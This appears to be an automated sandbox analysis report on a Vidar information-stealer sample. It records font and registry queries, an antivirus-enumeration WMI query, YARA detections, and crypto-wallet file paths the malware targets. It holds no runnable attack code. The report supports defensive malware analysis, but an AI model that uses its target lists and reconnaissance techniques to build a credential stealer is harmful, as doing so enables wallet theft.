Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\68398609819664439000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

2_2_0040E830

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_0041F540 GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,

2_2_0041F540

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

2_2_0040E830

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 2.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.2c3140.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.2c3140.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.2580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup.exe.2580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Setup.exe PID: 6128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 5124, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000516D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Setup.exe, 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Exodus\backups
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
